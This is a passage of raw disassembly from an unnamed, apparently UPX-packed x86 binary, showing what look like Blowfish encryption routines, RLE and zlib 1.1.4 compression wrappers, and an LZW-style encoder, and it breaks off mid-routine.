mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_48FD67: ; CODE XREF: sub_48F82B+531j
cmp [ebp+var_10], 4
jge short loc_48FDC9
mov [ebp+var_5C], 0
jmp short loc_48FD7F
; ---------------------------------------------------------------------------
loc_48FD76: ; CODE XREF: sub_48F82B+59Aj
mov ecx, [ebp+var_5C]
add ecx, 2
mov [ebp+var_5C], ecx
loc_48FD7F: ; CODE XREF: sub_48F82B+549j
cmp [ebp+var_5C], 100h
jge short loc_48FDC7
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_48FDCE
add esp, 0Ch
mov edx, [ebp+var_10]
shl edx, 0Ah
mov eax, [ebp+arg_0]
add eax, edx
mov ecx, [ebp+var_5C]
mov edx, [ebp+var_4]
mov [eax+ecx*4], edx
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+arg_0]
add ecx, eax
mov edx, [ebp+var_5C]
mov eax, [ebp+var_C]
mov [ecx+edx*4+4], eax
jmp short loc_48FD76
; ---------------------------------------------------------------------------
loc_48FDC7: ; CODE XREF: sub_48F82B+55Bj
jmp short loc_48FD5E
; ---------------------------------------------------------------------------
loc_48FDC9: ; CODE XREF: sub_48F82B+540j
pop esi
mov esp, ebp
pop ebp
retn
sub_48F82B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48FDCE proc near ; CODE XREF: sub_48F82B+500p
; sub_48F82B+569p ...
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_8], eax
mov [ebp+var_10], 0
jmp short loc_48FDF8
; ---------------------------------------------------------------------------
loc_48FDEC: ; CODE XREF: sub_48FDCE+6Fj
mov cx, [ebp+var_10]
add cx, 1
mov [ebp+var_10], cx
loc_48FDF8: ; CODE XREF: sub_48FDCE+1Cj
movsx edx, [ebp+var_10]
cmp edx, 10h
jge short loc_48FE3F
movsx eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
xor edx, [ecx+eax*4+1000h]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_48FE83
add esp, 8
xor eax, [ebp+var_8]
mov [ebp+var_8], eax
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
mov [ebp+var_8], ecx
jmp short loc_48FDEC
; ---------------------------------------------------------------------------
loc_48FE3F: ; CODE XREF: sub_48FDCE+31j
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
xor eax, [edx+1040h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
xor edx, [ecx+1044h]
mov [ebp+var_4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_8]
mov eax, [ebp+var_8]
mov [edx], eax
mov esp, ebp
pop ebp
retn
sub_48FDCE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48FE83 proc near ; CODE XREF: sub_48FDCE+4Fp
; sub_48FFA4+4Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
shr eax, 18h
and eax, 0FFh
mov ecx, [ebp+arg_4]
shr ecx, 10h
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+eax*4]
mov edx, [ebp+arg_0]
add eax, [edx+ecx*4+400h]
mov ecx, [ebp+arg_4]
shr ecx, 8
and ecx, 0FFh
mov edx, [ebp+arg_0]
xor eax, [edx+ecx*4+800h]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add eax, [edx+ecx*4+0C00h]
pop ebp
retn
sub_48FE83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48FED8 proc near ; DATA XREF: sub_4B45FB+17Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_4C85D6
add esp, 4
mov esp, ebp
pop ebp
retn
sub_48FED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48FEF2 proc near ; DATA XREF: sub_4B45FB+177o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_8]
and al, 0F8h
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov eax, [ebp+arg_8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov edx, [ebp+var_4]
lea eax, [edx+eax*4]
mov [ebp+var_8], eax
jmp short loc_48FF26
; ---------------------------------------------------------------------------
loc_48FF1D: ; CODE XREF: sub_48FEF2+53j
mov ecx, [ebp+var_4]
add ecx, 8
mov [ebp+var_4], ecx
loc_48FF26: ; CODE XREF: sub_48FEF2+29j
mov edx, [ebp+var_4]
cmp edx, [ebp+var_8]
jnb short loc_48FF47
mov eax, [ebp+var_4]
add eax, 4
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_48FDCE
add esp, 0Ch
jmp short loc_48FF1D
; ---------------------------------------------------------------------------
loc_48FF47: ; CODE XREF: sub_48FEF2+3Aj
mov esp, ebp
pop ebp
retn
sub_48FEF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48FF4B proc near ; DATA XREF: sub_4B45FB+172o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_8]
and al, 0F8h
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov eax, [ebp+arg_8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov edx, [ebp+var_4]
lea eax, [edx+eax*4]
mov [ebp+var_8], eax
jmp short loc_48FF7F
; ---------------------------------------------------------------------------
loc_48FF76: ; CODE XREF: sub_48FF4B+53j
mov ecx, [ebp+var_4]
add ecx, 8
mov [ebp+var_4], ecx
loc_48FF7F: ; CODE XREF: sub_48FF4B+29j
mov edx, [ebp+var_4]
cmp edx, [ebp+var_8]
jnb short loc_48FFA0
mov eax, [ebp+var_4]
add eax, 4
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_48FFA4
add esp, 0Ch
jmp short loc_48FF76
; ---------------------------------------------------------------------------
loc_48FFA0: ; CODE XREF: sub_48FF4B+3Aj
mov esp, ebp
pop ebp
retn
sub_48FF4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_48FFA4 proc near ; CODE XREF: sub_48FF4B+4Bp
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_8], eax
mov [ebp+var_10], 11h
jmp short loc_48FFCE
; ---------------------------------------------------------------------------
loc_48FFC2: ; CODE XREF: sub_48FFA4+6Fj
mov cx, [ebp+var_10]
sub cx, 1
mov [ebp+var_10], cx
loc_48FFCE: ; CODE XREF: sub_48FFA4+1Cj
movsx edx, [ebp+var_10]
cmp edx, 1
jle short loc_490015
movsx eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
xor edx, [ecx+eax*4+1000h]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_48FE83
add esp, 8
xor eax, [ebp+var_8]
mov [ebp+var_8], eax
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
mov [ebp+var_8], ecx
jmp short loc_48FFC2
; ---------------------------------------------------------------------------
loc_490015: ; CODE XREF: sub_48FFA4+31j
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
xor eax, [edx+1004h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
xor edx, [ecx+1000h]
mov [ebp+var_4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_8]
mov eax, [ebp+var_8]
mov [edx], eax
mov esp, ebp
pop ebp
retn
sub_48FFA4 endp
; ---------------------------------------------------------------------------
align 4
byte_49005C db 4 dup(0CCh) ; DATA XREF: UPX0:off_426B6Co
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490060 proc near ; CODE XREF: sub_4B45FB+1Bp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
and eax, 0FFFFh
test eax, eax
jnz short loc_49007B
mov dword_4ED2C0, 0
jmp short loc_4900AD
; ---------------------------------------------------------------------------
loc_49007B: ; CODE XREF: sub_490060+Dj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_490095
mov dword_4ED2C0, 1
jmp short loc_4900AD
; ---------------------------------------------------------------------------
loc_490095: ; CODE XREF: sub_490060+27j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_4900AD
mov dword_4ED2C0, 7
loc_4900AD: ; CODE XREF: sub_490060+19j
; sub_490060+33j ...
pop ebp
retn
sub_490060 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 60h
cmp dword_4ED2C0, 0
jnz loc_4902C7
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp+0Ch]
mov [ebp-18h], ecx
mov edx, [ebp-10h]
add edx, [ebp+10h]
mov [ebp-8], edx
mov eax, [ebp+14h]
mov ecx, [ebp-18h]
lea edx, [ecx+eax-2]
mov [ebp-0Ch], edx
mov byte ptr [ebp-4], 0FFh
mov byte ptr [ebp-14h], 1
mov eax, [ebp-18h]
mov byte ptr [eax], 1
mov ecx, [ebp-18h]
add ecx, 1
mov [ebp-18h], ecx
loc_4900FB: ; CODE XREF: .text:loc_490280j
mov edx, [ebp-10h]
cmp edx, [ebp-8]
jnb loc_490285
mov eax, [ebp-10h]
add eax, 2
cmp eax, [ebp-8]
jnb loc_49020E
mov ecx, [ebp-10h]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp-4]
and eax, 0FFh
cmp edx, eax
jnz loc_49020E
mov ecx, [ebp-10h]
xor edx, edx
mov dl, [ecx+1]
mov eax, [ebp-4]
and eax, 0FFh
cmp edx, eax
jnz loc_49020E
mov ecx, [ebp-10h]
xor edx, edx
mov dl, [ecx+2]
mov eax, [ebp-4]
and eax, 0FFh
cmp edx, eax
jnz loc_49020E
mov dword ptr [ebp-20h], 3
mov ecx, [ebp-10h]
add ecx, 3
mov [ebp-1Ch], ecx
loc_49016D: ; CODE XREF: .text:0049019Bj
mov edx, [ebp-1Ch]
cmp edx, [ebp-8]
jnb short loc_49019D
mov eax, [ebp-1Ch]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp-4]
and edx, 0FFh
cmp ecx, edx
jnz short loc_49019D
mov eax, [ebp-20h]
add eax, 1
mov [ebp-20h], eax
mov ecx, [ebp-1Ch]
add ecx, 1
mov [ebp-1Ch], ecx
jmp short loc_49016D
; ---------------------------------------------------------------------------
loc_49019D: ; CODE XREF: .text:00490173j
; .text:00490187j ...
cmp dword ptr [ebp-20h], 3
jb short loc_490203
cmp dword ptr [ebp-20h], 101h
jbe short loc_4901B5
mov dword ptr [ebp-60h], 101h
jmp short loc_4901BB
; ---------------------------------------------------------------------------
loc_4901B5: ; CODE XREF: .text:004901AAj
mov edx, [ebp-20h]
mov [ebp-60h], edx
loc_4901BB: ; CODE XREF: .text:004901B3j
mov eax, [ebp-60h]
mov [ebp-24h], eax
mov ecx, [ebp-18h]
mov byte ptr [ecx], 0FFh
mov edx, [ebp-18h]
add edx, 1
mov [ebp-18h], edx
mov eax, [ebp-24h]
sub eax, 3
mov ecx, [ebp-18h]
mov [ecx], al
mov edx, [ebp-18h]
add edx, 1
mov [ebp-18h], edx
mov eax, [ebp-20h]
sub eax, [ebp-24h]
mov [ebp-20h], eax
mov ecx, [ebp-18h]
cmp ecx, [ebp-0Ch]
jb short loc_490201
mov byte ptr [ebp-14h], 0
mov edx, [ebp-8]
mov [ebp-10h], edx
jmp short loc_490203
; ---------------------------------------------------------------------------
loc_490201: ; CODE XREF: .text:004901F3j
jmp short loc_49019D
; ---------------------------------------------------------------------------
loc_490203: ; CODE XREF: .text:004901A1j
; .text:004901FFj
mov eax, [ebp-1Ch]
sub eax, [ebp-20h]
mov [ebp-10h], eax
jmp short loc_490280
; ---------------------------------------------------------------------------
loc_49020E: ; CODE XREF: .text:00490110j
; .text:00490127j ...
mov ecx, [ebp-10h]
xor edx, edx
mov dl, [ecx]
cmp edx, 0FFh
jnz short loc_49024E
mov eax, [ebp-18h]
mov byte ptr [eax], 0FFh
mov ecx, [ebp-18h]
add ecx, 1
mov [ebp-18h], ecx
mov edx, [ebp-18h]
mov byte ptr [edx], 0FFh
mov eax, [ebp-18h]
add eax, 1
mov [ebp-18h], eax
mov ecx, [ebp-10h]
mov dl, [ecx]
mov [ebp-4], dl
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
jmp short loc_490272
; ---------------------------------------------------------------------------
loc_49024E: ; CODE XREF: .text:0049021Bj
mov ecx, [ebp-18h]
mov edx, [ebp-10h]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp-18h]
mov dl, [ecx]
mov [ebp-4], dl
mov eax, [ebp-18h]
add eax, 1
mov [ebp-18h], eax
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_490272: ; CODE XREF: .text:0049024Cj
mov edx, [ebp-18h]
cmp edx, [ebp-0Ch]
jb short loc_490280
mov byte ptr [ebp-14h], 0
jmp short loc_490285
; ---------------------------------------------------------------------------
loc_490280: ; CODE XREF: .text:0049020Cj
; .text:00490278j
jmp loc_4900FB
; ---------------------------------------------------------------------------
loc_490285: ; CODE XREF: .text:00490101j
; .text:0049027Ej
mov eax, [ebp-14h]
and eax, 0FFh
test eax, eax
jnz short loc_4902B9
mov ecx, [ebp+0Ch]
mov byte ptr [ecx], 0
mov edx, [ebp+10h]
push edx
mov eax, [ebp+8]
push eax
mov ecx, [ebp+0Ch]
add ecx, 1
push ecx
call _memcpy_1
add esp, 0Ch
mov edx, [ebp+10h]
add edx, 1
mov [ebp+10h], edx
jmp short loc_4902C2
; ---------------------------------------------------------------------------
loc_4902B9: ; CODE XREF: .text:0049028Fj
mov eax, [ebp-18h]
sub eax, [ebp+0Ch]
mov [ebp+10h], eax
loc_4902C2: ; CODE XREF: .text:004902B7j
jmp loc_490347
; ---------------------------------------------------------------------------
loc_4902C7: ; CODE XREF: .text:004900BCj
push 38h
push 0
lea ecx, [ebp-5Ch]
push ecx
call _memset_0
add esp, 0Ch
push 38h
push offset a1_1_4 ; "1.1.4"
mov edx, dword_4ED2C0
push edx
lea eax, [ebp-5Ch]
push eax
call sub_4BE510
add esp, 10h
test eax, eax
jnz short loc_490334
mov ecx, [ebp+10h]
mov [ebp-58h], ecx
mov edx, [ebp+14h]
mov [ebp-4Ch], edx
mov eax, [ebp+8]
mov [ebp-5Ch], eax
mov ecx, [ebp+0Ch]
mov [ebp-50h], ecx
push 4
lea edx, [ebp-5Ch]
push edx
call sub_4BEBAE
add esp, 8
cmp eax, 1
jnz short loc_49032B
mov eax, [ebp-50h]
sub eax, [ebp+0Ch]
mov [ebp+10h], eax
jmp short loc_490332
; ---------------------------------------------------------------------------
loc_49032B: ; CODE XREF: .text:0049031Ej
mov dword ptr [ebp+10h], 0
loc_490332: ; CODE XREF: .text:00490329j
jmp short loc_49033B
; ---------------------------------------------------------------------------
loc_490334: ; CODE XREF: .text:004902F3j
mov dword ptr [ebp+10h], 0
loc_49033B: ; CODE XREF: .text:loc_490332j
lea ecx, [ebp-5Ch]
push ecx
call sub_4BF045
add esp, 4
loc_490347: ; CODE XREF: .text:loc_4902C2j
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_49034E(int,void *Dst,size_t Size,int)
sub_49034E proc near ; CODE XREF: sub_4B4BB9+C1p
; DATA XREF: sub_4B45FB+16Do
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
Dst = dword ptr 0Ch
Size = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 5Ch
cmp dword_4ED2C0, 0
jnz loc_4904B5
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+Dst]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
add edx, [ebp+Size]
mov [ebp+var_8], edx
mov eax, [ebp+Dst]
add eax, [ebp+arg_C]
mov [ebp+var_C], eax
mov [ebp+var_4], 0FFh
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz short loc_4903B6
mov eax, [ebp+Size]
sub eax, 1
mov [ebp+Size], eax
mov ecx, [ebp+Size]
push ecx ; Size
mov edx, [ebp+arg_0]
add edx, 1
push edx ; Src
mov eax, [ebp+Dst]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
jmp loc_4904B0
; ---------------------------------------------------------------------------
loc_4903B6: ; CODE XREF: sub_49034E+41j
; sub_49034E:loc_49048Bj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_8]
jnb loc_490490
mov edx, [ebp+var_14]
cmp edx, [ebp+var_C]
jnb loc_490490
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 0FFh
jnz loc_490467
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 0FFh
jz short loc_490441
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
add eax, 3
mov [ebp+var_18], eax
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_18]
cmp edx, [ebp+var_C]
jb short loc_49041C
jmp short loc_490490
; ---------------------------------------------------------------------------
loc_49041C: ; CODE XREF: sub_49034E+CAj
; sub_49034E+EFj
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
sub ecx, 1
mov [ebp+var_18], ecx
test eax, eax
jz short loc_49043F
mov edx, [ebp+var_14]
mov al, [ebp+var_4]
mov [edx], al
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
jmp short loc_49041C
; ---------------------------------------------------------------------------
loc_49043F: ; CODE XREF: sub_49034E+DCj
jmp short loc_490465
; ---------------------------------------------------------------------------
loc_490441: ; CODE XREF: sub_49034E+A9j
mov edx, [ebp+var_14]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_14]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_490465: ; CODE XREF: sub_49034E:loc_49043Fj
jmp short loc_49048B
; ---------------------------------------------------------------------------
loc_490467: ; CODE XREF: sub_49034E+8Dj
mov eax, [ebp+var_14]
mov ecx, [ebp+var_10]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_14]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_49048B: ; CODE XREF: sub_49034E:loc_490465j
jmp loc_4903B6
; ---------------------------------------------------------------------------
loc_490490: ; CODE XREF: sub_49034E+6Ej
; sub_49034E+7Aj ...
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_8]
jnz short loc_4904A3
mov edx, [ebp+var_14]
sub edx, [ebp+Dst]
mov [ebp+var_5C], edx
jmp short loc_4904AA
; ---------------------------------------------------------------------------
loc_4904A3: ; CODE XREF: sub_49034E+148j
mov [ebp+var_5C], 0
loc_4904AA: ; CODE XREF: sub_49034E+153j
mov eax, [ebp+var_5C]
mov [ebp+Size], eax
loc_4904B0: ; CODE XREF: sub_49034E+63j
jmp loc_490537
; ---------------------------------------------------------------------------
loc_4904B5: ; CODE XREF: sub_49034E+Dj
push 38h ; Size
push 0 ; Val
lea ecx, [ebp+var_54]
push ecx ; Dst
call _memset_0
add esp, 0Ch
mov edx, [ebp+Size]
mov [ebp+var_50], edx
mov eax, [ebp+arg_C]
mov [ebp+var_44], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_54], ecx
mov edx, [ebp+Dst]
mov [ebp+var_48], edx
push 38h
push offset a1_1_4 ; "1.1.4"
lea eax, [ebp+var_54]
push eax
call sub_4C0B5A
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_490530
push 4
lea ecx, [ebp+var_54]
push ecx
call sub_4C0B75
add esp, 8
mov [ebp+var_58], eax
cmp [ebp+var_58], 1
jnz short loc_49051B
mov edx, [ebp+var_48]
sub edx, [ebp+Dst]
mov [ebp+Size], edx
jmp short loc_490522
; ---------------------------------------------------------------------------
loc_49051B: ; CODE XREF: sub_49034E+1C0j
mov [ebp+Size], 0
loc_490522: ; CODE XREF: sub_49034E+1CBj
lea eax, [ebp+var_54]
push eax
call sub_4C098B
add esp, 4
jmp short loc_490537
; ---------------------------------------------------------------------------
loc_490530: ; CODE XREF: sub_49034E+1A9j
mov [ebp+Size], 0
loc_490537: ; CODE XREF: sub_49034E:loc_4904B0j
; sub_49034E+1E0j
mov eax, [ebp+Size]
mov esp, ebp
pop ebp
retn
sub_49034E endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 24h
call sub_490893
call sub_490901
mov eax, [ebp+10h]
add eax, 1
push eax
call sub_4C85E1
add esp, 4
mov [ebp-1Ch], eax
mov ecx, [ebp-1Ch]
mov [ebp-10h], ecx
push 1
mov edx, [ebp+10h]
push edx
mov eax, [ebp-10h]
push eax
call sub_490743
add esp, 0Ch
mov ecx, [ebp+8]
mov [ebp-8], ecx
mov edx, [ebp+0Ch]
mov eax, [ebp-8]
add eax, [edx]
mov [ebp-0Ch], eax
mov ecx, [ebp-8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_49059E: ; CODE XREF: .text:004906BAj
mov ecx, [ebp-8]
cmp ecx, [ebp-0Ch]
jnb loc_4906BF
xor edx, edx
mov dl, byte_4F36C8
test edx, edx
jnz loc_4906BF
mov eax, [ebp-8]
xor ecx, ecx
mov cl, [eax]
push ecx
mov edx, [ebp-4]
push edx
call sub_490962
add esp, 8
mov [ebp-14h], eax
mov eax, [ebp-14h]
imul eax, 0Ch
mov ecx, dword_4F36E0
add ecx, eax
mov [ebp-18h], ecx
mov edx, [ebp-18h]
cmp dword ptr [edx], 0FFFFFFFFh
jnz loc_4906A9
mov eax, [ebp-18h]
mov ecx, dword_4F36BC
mov [eax], ecx
mov edx, dword_4F36BC
add edx, 1
mov dword_4F36BC, edx
mov eax, [ebp-18h]
mov ecx, [ebp-4]
mov [eax+4], ecx
mov edx, [ebp-18h]
mov eax, [ebp-8]
mov cl, [eax]
mov [edx+8], cl
mov edx, dword_4F36DC
push edx
mov eax, [ebp-4]
push eax
call sub_4907D5
add esp, 8
mov ecx, [ebp-8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
cmp dword_4F36BC, 7FFFh
jbe short loc_49065F
mov eax, dword_4F36DC
push eax
push 102h
call sub_4907D5
add esp, 8
call sub_490901
jmp short loc_4906A7
; ---------------------------------------------------------------------------
loc_49065F: ; CODE XREF: .text:00490643j
mov ecx, dword_4F36BC
cmp ecx, dword_4F36CC
jbe short loc_4906A7
mov edx, dword_4F36DC
mov [ebp-24h], edx
mov eax, [ebp-24h]
push eax
push 101h
mov ecx, dword_4F36DC
add ecx, 1
mov dword_4F36DC, ecx
call sub_4907D5
add esp, 8
mov edx, dword_4F36CC
shl edx, 1
or edx, 1
mov dword_4F36CC, edx
loc_4906A7: ; CODE XREF: .text:0049065Dj
; .text:0049066Bj
jmp short loc_4906B1
; ---------------------------------------------------------------------------
loc_4906A9: ; CODE XREF: .text:004905E8j
mov eax, [ebp-18h]
mov ecx, [eax]
mov [ebp-4], ecx
loc_4906B1: ; CODE XREF: .text:loc_4906A7j
mov edx, [ebp-8]
add edx, 1
mov [ebp-8], edx
jmp loc_49059E
; ---------------------------------------------------------------------------
loc_4906BF: ; CODE XREF: .text:004905A4j
; .text:004905B4j
xor eax, eax
mov al, byte_4F36C8
test eax, eax
jnz short loc_4906F0
mov ecx, dword_4F36DC
push ecx
mov edx, [ebp-4]
push edx
call sub_4907D5
add esp, 8
mov eax, dword_4F36DC
push eax
push 100h
call sub_4907D5
add esp, 8
loc_4906F0: ; CODE XREF: .text:004906C8j
xor ecx, ecx
mov cl, byte_4F36C8
test ecx, ecx
jnz short loc_49071C
call sub_4907A9
mov edx, [ebp+0Ch]
mov [edx], eax
mov eax, [ebp+0Ch]
mov ecx, [eax]
push ecx
mov edx, [ebp-10h]
push edx
mov eax, [ebp+8]
push eax
call _memcpy_1
add esp, 0Ch
loc_49071C: ; CODE XREF: .text:004906FAj
mov ecx, [ebp-10h]
mov [ebp-20h], ecx
mov edx, [ebp-20h]
push edx
call sub_4C85D6
add esp, 4
call sub_4908CE
xor eax, eax
mov al, byte_4F36C8
test eax, eax
setz al
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490743 proc near ; CODE XREF: .text:00490572p
; .text:00490A18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_4F36D0, eax
mov ecx, dword_4F36D0
mov dword_4F36D4, ecx
mov edx, dword_4F36D4
add edx, [ebp+arg_4]
mov dword_4F36C4, edx
mov byte_4F36D8, 80h
mov eax, [ebp+arg_8]
and eax, 0FFh
test eax, eax
jz short loc_490785
mov byte_4F36E4, 0
jmp short loc_4907A0
; ---------------------------------------------------------------------------
loc_490785: ; CODE XREF: sub_490743+37j
mov ecx, dword_4F36D0
mov dl, [ecx]
mov byte_4F36E4, dl
mov eax, dword_4F36D0
add eax, 1
mov dword_4F36D0, eax
loc_4907A0: ; CODE XREF: sub_490743+40j
mov byte_4F36C8, 0
pop ebp
retn
sub_490743 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4907A9 proc near ; CODE XREF: .text:004906FCp
push ebp
mov ebp, esp
mov eax, dword_4F36D0
mov cl, byte_4F36E4
mov [eax], cl
mov edx, dword_4F36D0
add edx, 1
mov dword_4F36D0, edx
mov eax, dword_4F36D0
sub eax, dword_4F36D4
pop ebp
retn
sub_4907A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4907D5 proc near ; CODE XREF: .text:00490627p
; .text:00490650p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_4]
sub ecx, 1
mov eax, 1
shl eax, cl
mov [ebp+var_4], eax
loc_4907E9: ; CODE XREF: sub_4907D5+A6j
cmp [ebp+var_4], 0
jz loc_490880
mov ecx, [ebp+arg_0]
and ecx, [ebp+var_4]
test ecx, ecx
jz short loc_49080F
mov dl, byte_4F36E4
or dl, byte_4F36D8
mov byte_4F36E4, dl
loc_49080F: ; CODE XREF: sub_4907D5+26j
mov al, byte_4F36D8
shr al, 1
mov byte_4F36D8, al
xor ecx, ecx
mov cl, byte_4F36D8
test ecx, ecx
jnz short loc_490873
mov edx, dword_4F36D0
cmp edx, dword_4F36C4
jnb short loc_490851
mov eax, dword_4F36D0
mov cl, byte_4F36E4
mov [eax], cl
mov edx, dword_4F36D0
add edx, 1
mov dword_4F36D0, edx
loc_490851: ; CODE XREF: sub_4907D5+5Ej
mov eax, dword_4F36D0
